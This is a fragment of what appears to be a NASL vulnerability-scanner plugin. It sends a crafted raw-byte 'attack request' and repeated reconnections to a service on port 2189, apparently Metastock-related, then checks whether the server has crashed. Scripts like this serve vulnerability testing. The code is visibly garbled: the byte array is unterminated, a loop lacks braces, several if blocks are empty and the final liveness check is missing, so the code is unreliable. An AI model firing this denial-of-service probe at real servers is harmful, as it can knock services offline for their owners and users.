## Get Default Port
port = 2189;
if(!get_port_state(port)){
 exit(0);
}

## Open the socket
soc = open_sock_tcp(port);
if(!soc){
  exit(0);
}

## Construct Attack Request
req = raw_string( 0xcd, 0xab, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00,

## Sending Attack
send(socket:soc, data:req);
res = recv(socket:soc, length:200);
close(soc);

## Confirm the application
if("Metastock" >!< res){

}

## Send multiple reconnection request
for(i = 0; i < 5; i++)

  soc1 = open_sock_tcp(port);
  if(!soc1){

  }

  send(socket:soc1, data:req);

## Open the socket and Check server is dead or alive
